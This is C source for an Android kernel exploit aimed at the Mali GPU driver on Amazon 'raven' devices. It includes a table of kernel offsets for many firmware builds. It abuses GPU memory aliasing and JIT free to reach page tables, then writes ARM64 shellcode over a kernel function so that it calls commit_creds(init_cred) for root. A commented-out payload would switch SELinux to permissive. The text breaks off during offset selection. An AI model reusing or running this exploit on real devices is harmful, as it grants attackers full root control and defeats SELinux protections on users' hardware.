README.md
Rendering markdown...
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include "stdbool.h"
#include <sys/system_properties.h>
#include <sys/syscall.h>
#include "mali.h"
#include "mali_base_jm_kernel.h"
#include "midgard.h"
#ifdef SHELL
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
#else
#include <android/log.h>
#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__)
#endif //SHELL
#define MALI "/dev/mali0" //check, may be different on other devices
#define PAGE_SHIFT 12
#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576)
#define PFN_DOWN(x) ((x) >> PAGE_SHIFT)
#define SPRAY_PAGES 25
#define SPRAY_NUM 128
#define FLUSH_SIZE (0x1000 * 0x180) //increasing = less 'out of memory' results but more crashes (default 0x1000 * 0x100)
#define SPRAY_CPU 0
#define POOL_SIZE 16384 //may be different on other devices
#define RESERVED_SIZE 32
#define TOTAL_RESERVED_SIZE 1024
#define FLUSH_REGION_SIZE 500
#define NUM_TRIALS 100
#define KERNEL_BASE 0x1080000 //raven's kernel load address
#define OVERWRITE_INDEX 256
#define ADRP_INIT_INDEX 0
#define ADD_INIT_INDEX 1
#define ADRP_COMMIT_INDEX 2
#define ADD_COMMIT_INDEX 3
//offset values from Cube kallsyms, subtract head t _head
// PS7201/942
#define SELINUX_ENFORCING_7201_942 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7201_942 0x3644b4
#define INIT_CRED_7201_942 0x15eb228
#define COMMIT_CREDS_7201_942 0x4cc70
#define ADD_INIT_7201_942 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7201_942 0x9131c108 //add x8, x8, #0xc70
// PS7204/1044
#define SELINUX_ENFORCING_7204_1044 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7204_1044 0x364438
#define INIT_CRED_7204_1044 0x15eb228
#define COMMIT_CREDS_7204_1044 0x4ccc0
#define ADD_INIT_7204_1044 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7204_1044 0x91330108 //add x8, x8, #0xcc0
// PS7204/1046
#define SELINUX_ENFORCING_7204_1046 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7204_1046 0x364438
#define INIT_CRED_7204_1046 0x15eb228
#define COMMIT_CREDS_7204_1046 0x4ccc0
#define ADD_INIT_7204_1046 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7204_1046 0x91330108 //add x8, x8, #0xcc0
// PS7206/1098
#define SELINUX_ENFORCING_7206_1098 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7206_1098 0x364438
#define INIT_CRED_7206_1098 0x15eb228
#define COMMIT_CREDS_7206_1098 0x4ccc0
#define ADD_INIT_7206_1098 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7206_1098 0x91330108 //add x8, x8, #0xcc0
// PS7212/1333
#define SELINUX_ENFORCING_7212_1333 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7212_1333 0x364304
#define INIT_CRED_7212_1333 0x15eb228
#define COMMIT_CREDS_7212_1333 0x4ccc0
#define ADD_INIT_7212_1333 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7212_1333 0x91330108 //add x8, x8, #0xcc0
// PS7212/1335
#define SELINUX_ENFORCING_7212_1335 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7212_1335 0x364304
#define INIT_CRED_7212_1335 0x15eb228
#define COMMIT_CREDS_7212_1335 0x4ccc0
#define ADD_INIT_7212_1335 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7212_1335 0x91330108 //add x8, x8, #0xcc0
// PS7216/1582 (uncofirmed)
#define SELINUX_ENFORCING_7216_1582 0x184d634
#define SEL_READ_HANDLE_UNKNOWN_7216_1582 0x364304
#define INIT_CRED_7216_1582 0x15eb228
#define COMMIT_CREDS_7216_1582 0x4ccc0
#define ADD_INIT_7216_1582 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7216_1582 0x91330108 //add x8, x8, #0xcc0
// PS7224/1752
#define SELINUX_ENFORCING_7224_1752 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7224_1752 0x3641dc
#define INIT_CRED_7224_1752 0x15fb228
#define COMMIT_CREDS_7224_1752 0x4ccc0
#define ADD_INIT_7224_1752 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7224_1752 0x91330108 //add x8, x8, #0xcc0
// PS7229/1850
#define SELINUX_ENFORCING_7229_1850 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7229_1850 0x3641bc
#define INIT_CRED_7229_1850 0x15fb228
#define COMMIT_CREDS_7229_1850 0x4ccc0
#define ADD_INIT_7229_1850 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7229_1850 0x91330108 //add x8, x8, #0xcc0
// PS7229/1853
#define SELINUX_ENFORCING_7229_1853 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7229_1853 0x3641bc
#define INIT_CRED_7229_1853 0x15fb228
#define COMMIT_CREDS_7229_1853 0x4ccc0
#define ADD_INIT_7229_1853 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7229_1853 0x91330108 //add x8, x8, #0xcc0
// PS7229/1856
#define SELINUX_ENFORCING_7229_1856 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7229_1856 0x3641bc
#define INIT_CRED_7229_1856 0x15fb228
#define COMMIT_CREDS_7229_1856 0x4ccc0
#define ADD_INIT_7229_1856 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7229_1856 0x91330108 //add x8, x8, #0xcc0
// PS7234/2039 (unconfirmed)
#define SELINUX_ENFORCING_7234_2039 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7234_2039 0x36383c
#define INIT_CRED_7234_2039 0x15fb228
#define COMMIT_CREDS_7234_2039 0x4ccc0
#define ADD_INIT_7234_2039 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7234_2039 0x91330108 //add x8, x8, #0xcc0
// PS7234/2042 (unconfirmed)
#define SELINUX_ENFORCING_7234_2042 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7234_2042 0x36383c
#define INIT_CRED_7234_2042 0x15fb228
#define COMMIT_CREDS_7234_2042 0x4ccc0
#define ADD_INIT_7234_2042 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7234_2042 0x91330108 //add x8, x8, #0xcc0
// PS7242/2216
#define SELINUX_ENFORCING_7242_2216 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7242_2216 0x3641ec
#define INIT_CRED_7242_2216 0x15fb228
#define COMMIT_CREDS_7242_2216 0x4ccc0
#define ADD_INIT_7242_2216 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7242_2216 0x91330108 //add x8, x8, #0xcc0
// PS7242/2896 (unconfirmed)
#define SELINUX_ENFORCING_7242_2896 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7242_2896 0x364158
#define INIT_CRED_7242_2896 0x15fb228
#define COMMIT_CREDS_7242_2896 0x4ccc0
#define ADD_INIT_7242_2896 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7242_2896 0x91330108 //add x8, x8, #0xcc0
// PS7242/2906
#define SELINUX_ENFORCING_7242_2906 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7242_2906 0x364158
#define INIT_CRED_7242_2906 0x15fb228
#define COMMIT_CREDS_7242_2906 0x4ccc0
#define ADD_INIT_7242_2906 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7242_2906 0x91330108 //add x8, x8, #0xcc0
// PS7242/3515
#define SELINUX_ENFORCING_7242_3515 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7242_3515 0x364158
#define INIT_CRED_7242_3515 0x15fb228
#define COMMIT_CREDS_7242_3515 0x4ccc0
#define ADD_INIT_7242_3515 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7242_3515 0x91330108 //add x8, x8, #0xcc0
// PS7242/3516
#define SELINUX_ENFORCING_7242_3516 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7242_3516 0x364158
#define INIT_CRED_7242_3516 0x15fb228
#define COMMIT_CREDS_7242_3516 0x4ccc0
#define ADD_INIT_7242_3516 0x9108a000 //add x0, x0, #0x228
#define ADD_COMMIT_7242_3516 0x91330108 //add x8, x8, #0xcc0
// PS7273/2625
#define SELINUX_ENFORCING_7273_2625 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7273_2625 0x364158
#define INIT_CRED_7273_2625 0x15fb528
#define COMMIT_CREDS_7273_2625 0x4ccc0
#define ADD_INIT_7273_2625 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7273_2625 0x91330108 //add x8, x8, #0xcc0
// PS7279/2766
#define SELINUX_ENFORCING_7279_2766 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7279_2766 0x364158
#define INIT_CRED_7279_2766 0x15fb528
#define COMMIT_CREDS_7279_2766 0x4ccc0
#define ADD_INIT_7279_2766 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7279_2766 0x91330108 //add x8, x8, #0xcc0
// PS7285/2877
#define SELINUX_ENFORCING_7285_2877 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7285_2877 0x364158
#define INIT_CRED_7285_2877 0x15fb528
#define COMMIT_CREDS_7285_2877 0x4ccc0
#define ADD_INIT_7285_2877 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7285_2877 0x91330108 //add x8, x8, #0xcc0
// PS7285/2880
#define SELINUX_ENFORCING_7285_2880 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7285_2880 0x364158
#define INIT_CRED_7285_2880 0x15fb528
#define COMMIT_CREDS_7285_2880 0x4ccc0
#define ADD_INIT_7285_2880 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7285_2880 0x91330108 //add x8, x8, #0xcc0
// PS7292/2982
#define SELINUX_ENFORCING_7292_2982 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7292_2982 0x3641d4
#define INIT_CRED_7292_2982 0x15fb528
#define COMMIT_CREDS_7292_2982 0x4ccc0
#define ADD_INIT_7292_2982 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7292_2982 0x91330108 //add x8, x8, #0xcc0
// PS7292/2984
#define SELINUX_ENFORCING_7292_2984 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7292_2984 0x3641d4
#define INIT_CRED_7292_2984 0x15fb528
#define COMMIT_CREDS_7292_2984 0x4ccc0
#define ADD_INIT_7292_2984 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7292_2984 0x91330108 //add x8, x8, #0xcc0
// PS7603/3110
#define SELINUX_ENFORCING_7603_3110 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7603_3110 0x3641d4
#define INIT_CRED_7603_3110 0x15fb528
#define COMMIT_CREDS_7603_3110 0x4ccc0
#define ADD_INIT_7603_3110 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7603_3110 0x91330108 //add x8, x8, #0xcc0
// PS7608/3614
#define SELINUX_ENFORCING_7608_3614 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7608_3614 0x3641d4
#define INIT_CRED_7608_3614 0x15fb528
#define COMMIT_CREDS_7608_3614 0x4ccc0
#define ADD_INIT_7608_3614 0x9114a000 //add x0, x0, #0x528
#define ADD_COMMIT_7608_3614 0x91330108 //add x8, x8, #0xcc0
// PS7614/3227
#define SELINUX_ENFORCING_7614_3227 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7614_3227 0x3641c4
#define INIT_CRED_7614_3227 0x15fb568
#define COMMIT_CREDS_7614_3227 0x4ccb0
#define ADD_INIT_7614_3227 0x9115a000 //add x0, x0, #0x568
#define ADD_COMMIT_7614_3227 0x9132c108 //add x8, x8, #0xcb0
// PS7624/3337
#define SELINUX_ENFORCING_7624_3337 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7624_3337 0x3641c4
#define INIT_CRED_7624_3337 0x15fb568
#define COMMIT_CREDS_7624_3337 0x4ccb0
#define ADD_INIT_7624_3337 0x9115a000 //add x0, x0, #0x568
#define ADD_COMMIT_7624_3337 0x9132c108 //add x8, x8, #0xcb0
// PS7633/3445
#define SELINUX_ENFORCING_7633_3445 0x185d634
#define SEL_READ_HANDLE_UNKNOWN_7633_3445 0x3641d0
#define INIT_CRED_7633_3445 0x15fb568
#define COMMIT_CREDS_7633_3445 0x4ccb0
#define ADD_INIT_7633_3445 0x9115a000 //add x0, x0, #0x568
#define ADD_COMMIT_7633_3445 0x9132c108 //add x8, x8, #0xcb0
static uint64_t sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7624_3337;
static uint64_t selinux_enforcing = SELINUX_ENFORCING_7624_3337;
/*
Overwriting SELinux to permissive
strb wzr, [x0]
mov x0, #0
ret
*/
//static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0};
static uint32_t root_code[8] = {0};
static uint8_t jit_id = 1;
static uint8_t atom_number = 1;
static uint64_t gpu_va[SPRAY_NUM] = {0};
static uint8_t* gpu_regions[SPRAY_NUM] = {0};
static int gpu_va_idx = 0;
static void* flush_regions[FLUSH_REGION_SIZE];
static void* alias_regions[SPRAY_NUM] = {0};
static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE];
struct base_mem_handle {
struct {
__u64 handle;
} basep;
};
struct base_mem_aliasing_info {
struct base_mem_handle handle;
__u64 offset;
__u64 length;
};
static int open_dev(char* name) {
int fd = open(name, O_RDWR);
if (fd == -1) {
err(1, "cannot open %s\n", name);
}
return fd;
}
void setup_mali(int fd, int group_id) {
struct kbase_ioctl_version_check param = {0};
if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) {
err(1, "version check failed\n");
}
//struct kbase_ioctl_set_flags set_flags = {group_id << 3};
struct kbase_ioctl_set_flags set_flags = {0};
if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) {
err(1, "set flags failed\n");
}
}
void* setup_tracking_page(int fd) {
void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE);
if (region == MAP_FAILED) {
err(1, "setup tracking page failed");
}
return region;
}
void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) {
struct kbase_ioctl_mem_jit_init init = {0};
init.va_pages = va_pages;
init.max_allocations = 255;
init.trim_level = trim_level;
//init.group_id = group_id;
//init.phys_pages = va_pages;
if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) {
err(1, "jit init failed\n");
}
}
uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t gpu_alloc_addr, uint64_t* gpu_alloc_region) {
struct base_jit_alloc_info info = {0};
struct base_jd_atom_v2 atom = {0};
info.id = id;
info.gpu_alloc_addr = gpu_alloc_addr;
info.va_pages = va_pages;
info.commit_pages = va_pages;
info.extension = 0x1000;
atom.jc = (uint64_t)(&info);
atom.atom_number = atom_number;
atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC;
atom.nr_extres = 1;
struct kbase_ioctl_job_submit submit = {0};
submit.addr = (uint64_t)(&atom);
submit.nr_atoms = 1;
submit.stride = sizeof(struct base_jd_atom_v2);
if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
err(1, "submit job failed\n");
}
return *((uint64_t*)gpu_alloc_region);
}
void jit_free(int fd, uint8_t atom_number, uint8_t id) {
uint8_t free_id = id;
struct base_jd_atom_v2 atom = {0};
atom.jc = (uint64_t)(&free_id);
atom.atom_number = atom_number;
atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE;
atom.nr_extres = 1;
struct kbase_ioctl_job_submit submit = {0};
submit.addr = (uint64_t)(&atom);
submit.nr_atoms = 1;
submit.stride = sizeof(struct base_jd_atom_v2);
if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
err(1, "submit job failed\n");
}
}
void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) {
struct kbase_ioctl_mem_flags_change change = {0};
change.flags = flags;
change.gpu_va = gpu_addr;
change.mask = flags;
if (ignore_results) {
ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change);
return;
}
if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) {
err(1, "flags_change failed\n");
}
}
void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) {
if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) {
err(1, "mem_alloc failed\n");
}
}
void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) {
if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) {
err(1, "mem_alias failed\n");
}
}
void mem_query(int fd, union kbase_ioctl_mem_query* query) {
if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) {
err(1, "mem_query failed\n");
}
}
void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) {
struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages};
if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) {
err(1, "mem_commit failed\n");
}
}
uint64_t map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) {
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR; //| (group << 22);
int prot = PROT_READ;
if (!read_only) {
alloc.in.flags |= BASE_MEM_PROT_GPU_WR;
prot |= PROT_WRITE;
}
alloc.in.va_pages = va_pages;
alloc.in.commit_pages = commit_pages;
mem_alloc(mali_fd, &alloc);
return alloc.out.gpu_va;
}
uint64_t alloc_mem(int mali_fd, unsigned int pages) {
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
int prot = PROT_READ | PROT_WRITE;
alloc.in.va_pages = pages;
alloc.in.commit_pages = pages;
mem_alloc(mali_fd, &alloc);
return alloc.out.gpu_va;
}
void free_mem(int mali_fd, uint64_t gpuaddr) {
struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr};
if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
err(1, "free_mem failed\n");
}
}
uint64_t drain_mem_pool(int mali_fd) {
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; // | (1 << 22);
int prot = PROT_READ | PROT_WRITE;
alloc.in.va_pages = POOL_SIZE;
alloc.in.commit_pages = POOL_SIZE;
mem_alloc(mali_fd, &alloc);
return alloc.out.gpu_va;
}
void release_mem_pool(int mali_fd, uint64_t drain) {
struct kbase_ioctl_mem_commit commit = {.gpu_addr = drain, .pages = 0};
if (ioctl(mali_fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) {
err(1, "mem_commit failed\n");
}
}
/*
void release_mem_pool(int mali_fd, uint64_t drain) {
struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain};
if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
err(1, "free_mem failed\n");
}
}
*/
#define CPU_SETSIZE 1024
#define __NCPUBITS (8 * sizeof (unsigned long))
typedef struct
{
unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
} cpu_set_t;
#define CPU_SET(cpu, cpusetp) \
((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
#define CPU_ZERO(cpusetp) \
memset((cpusetp), 0, sizeof(cpu_set_t))
int migrate_to_cpu(int i)
{
int syscallres;
pid_t pid = gettid();
cpu_set_t cpu;
CPU_ZERO(&cpu);
CPU_SET(i, &cpu);
syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
if (syscallres)
{
return -1;
}
return 0;
}
void* flush(int spray_cpu, int idx) {
migrate_to_cpu(spray_cpu);
void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (region == MAP_FAILED) err(1, "flush failed");
memset(region, idx, FLUSH_SIZE);
return region;
}
void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
for (int i = 0; i < nents; i++) {
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; // | (1 << 22);
int prot = PROT_READ | PROT_WRITE;
alloc.in.va_pages = pages;
alloc.in.commit_pages = pages; //alloc.in.commit_pages = 0;
mem_alloc(mali_fd, &alloc);
reserved_va[i] = alloc.out.gpu_va;
}
}
void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
for (int i = 0; i < nents; i++) {
mem_commit(mali_fd, reserved_va[i], pages);
}
}
uint64_t alias_sprayed_regions(int mali_fd) {
union kbase_ioctl_mem_alias alias = {0};
alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
alias.in.stride = SPRAY_PAGES;
alias.in.nents = SPRAY_NUM;
struct base_mem_aliasing_info ai[SPRAY_NUM];
for (int i = 0; i < SPRAY_NUM; i++) {
ai[i].handle.basep.handle = gpu_va[i];
ai[i].length = SPRAY_PAGES;
ai[i].offset = 0;
}
alias.in.aliasing_info = (uint64_t)(&(ai[0]));
mem_alias(mali_fd, &alias);
printf("alias gpu va %llx\n", alias.out.gpu_va);
/*
uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES;
void* region = mmap64(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va);
if (region == MAP_FAILED) {
err(1, "mmap alias failed");
}
alias_regions[0] = region;
*/
for (int i = 0; i < SPRAY_NUM; i++) {
void* this_region = mmap64(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd, (uint64_t)alias.out.gpu_va + i * 0x1000 * SPRAY_PAGES);
if (this_region == MAP_FAILED) {
err(1, "mmap alias failed %d\n", i);
}
alias_regions[i] = this_region;
}
// return (uint64_t)(alias_regions[0]);
return (uint64_t)alias.out.gpu_va;
}
void fault_pages() {
int read = 0;
for (int va = 0; va < SPRAY_NUM; va++) {
uint8_t* this_va = (uint8_t*)(gpu_regions[va]);
*this_va = 0;
uint8_t* this_alias = alias_regions[va];
read += *this_alias;
}
LOG("read %d\n", read);
}
int find_freed_idx(int mali_fd) {
int freed_idx = -1;
for (int j = 0; j < SPRAY_NUM; j++) {
union kbase_ioctl_mem_query query = {0};
query.in.gpu_addr = gpu_va[j];
query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) {err(1, "mem query error in find_freed_idx %d\n", j);}
if (query.out.value != SPRAY_PAGES) {
LOG("jit_free commit: %d %llu\n", j, query.out.value);
freed_idx = j;
}
}
return freed_idx;
}
int find_pgd(int freed_idx, int start_pg) {
uint64_t* this_alias = alias_regions[freed_idx];
for (int pg = start_pg; pg < SPRAY_PAGES; pg++) {
for (int i = 0; i < 0x1000/8; i++) {
uint64_t entry = this_alias[pg * 0x1000/8 + i];
if ((entry & 0x443) == 0x443) {
return pg;
}
}
}
return -1;
}
uint32_t lo32(uint64_t x) {
return x & 0xffffffff;
}
uint32_t hi32(uint64_t x) {
return x >> 32;
}
uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) {
uint64_t pc_page = pc >> 12;
uint64_t label_page = label >> 12;
int64_t offset = (label_page - pc_page) << 12;
int64_t immhi_mask = 0xffffe0;
int64_t immhi = offset >> 14;
int32_t immlo = (offset >> 12) & 0x3;
uint32_t adpr = rd & 0x1f;
adpr |= (1 << 28);
adpr |= (1 << 31); //op
adpr |= immlo << 29;
adpr |= (immhi_mask & (immhi << 5));
return adpr;
}
void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_handle_unknown, uint32_t add_init, uint32_t add_commit) {
uint32_t init_adpr = write_adrp(0, read_handle_unknown, init_cred);
//Sets x0 to init_cred
root_code[ADRP_INIT_INDEX] = init_adpr;
root_code[ADD_INIT_INDEX] = add_init;
//Sets x8 to commit_creds
root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_handle_unknown, commit_cred);
root_code[ADD_COMMIT_INDEX] = add_commit;
root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10]
root_code[5] = 0xd63f0100; // blr x8
root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10
root_code[7] = 0xd65f03c0; // ret
}
uint64_t set_addr_lv3(uint64_t addr) {
uint64_t pfn = addr >> PAGE_SHIFT;
pfn &= ~ 0x1FFUL;
pfn |= 0x100UL;
return pfn << PAGE_SHIFT;
}
static inline uint64_t compute_pt_index(uint64_t addr, int level) {
uint64_t vpfn = addr >> PAGE_SHIFT;
vpfn >>= (3 - level) * 9;
return vpfn & 0x1FF;
}
void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) {
uint64_t jc_region = map_gpu(mali_fd, 1, 1, false, 0);
struct MALI_JOB_HEADER jh = {0};
jh.is_64b = true;
jh.type = MALI_JOB_TYPE_WRITE_VALUE;
struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0};
payload.type = type;
payload.immediate_value = value;
payload.address = gpu_addr;
uint32_t* section = (uint32_t*)mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, jc_region);
if (section == MAP_FAILED) {
err(1, "mmap failed");
}
MALI_JOB_HEADER_pack((uint32_t*)section, &jh);
MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)section + 8, &payload);
struct base_jd_atom_v2 atom = {0};
atom.jc = (uint64_t)jc_region;
atom.atom_number = atom_number;
atom.core_req = BASE_JD_REQ_CS;
struct kbase_ioctl_job_submit submit = {0};
submit.addr = (uint64_t)(&atom);
submit.nr_atoms = 1;
submit.stride = sizeof(struct base_jd_atom_v2);
if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
err(1, "submit job failed\n");
}
usleep(10000);
}
void write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, uint64_t value, enum mali_write_value_type type) {
uint64_t data_offset = (data + KERNEL_BASE) % 0x1000;
uint64_t curr_overwrite_addr = 0;
for (int i = 0; i < size; i++) {
uint64_t base = reserved[i];
uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
uint64_t start_idx = compute_pt_index(base, 3);
uint64_t end_idx = compute_pt_index(end, 3);
for (uint64_t addr = base; addr < end; addr += 0x1000) {
uint64_t overwrite_addr = set_addr_lv3(addr);
if (curr_overwrite_addr != overwrite_addr) {
LOG("overwrite addr : %llx %llx\n", overwrite_addr + data_offset, data_offset);
curr_overwrite_addr = overwrite_addr;
write_to(mali_fd, overwrite_addr + data_offset, value, atom_number++, type);
usleep(300000);
}
}
}
}
void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) {
uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
uint64_t curr_overwrite_addr = 0;
for (int i = 0; i < size; i++) {
uint64_t base = reserved[i];
uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
uint64_t start_idx = compute_pt_index(base, 3);
uint64_t end_idx = compute_pt_index(end, 3);
for (uint64_t addr = base; addr < end; addr += 0x1000) {
uint64_t overwrite_addr = set_addr_lv3(addr);
if (curr_overwrite_addr != overwrite_addr) {
LOG("overwrite addr : %llx %llx\n", overwrite_addr + func_offset, func_offset);
curr_overwrite_addr = overwrite_addr;
for (int code = code_size - 1; code >= 0; code--) {
write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
}
usleep(300000);
}
}
}
}
/*
int run_enforce() {
char result = '2';
sleep(3);
int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
read(enforce_fd, &result, 1);
close(enforce_fd);
LOG("result %d\n", result);
return result;
}
*/
int run_enforce() {
char result = '2';
sleep(3);
int enforce_fd = open("/sys/fs/selinux/reject_unknown", O_RDONLY);
read(enforce_fd, &result, 1);
close(enforce_fd);
LOG("result %d\n", result);
return result;
}
void select_offset() {
char fingerprint[256];
int len = __system_property_get("ro.build.fingerprint", fingerprint);
LOG("fingerprint: %s\n", fingerprint);
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7201/942N:user/amz-p,release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_7201_942;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7201_942;
fixup_root_shell(INIT_CRED_7201_942, COMMIT_CREDS_7201_942, SEL_READ_HANDLE_UNKNOWN_7201_942, ADD_INIT_7201_942, ADD_COMMIT_7201_942);
return;
}
if (!strcmp(fingerprint, "Amazon/raven/raven:7.0/PS7204/1044N:user/amz-p,release-keys")) {
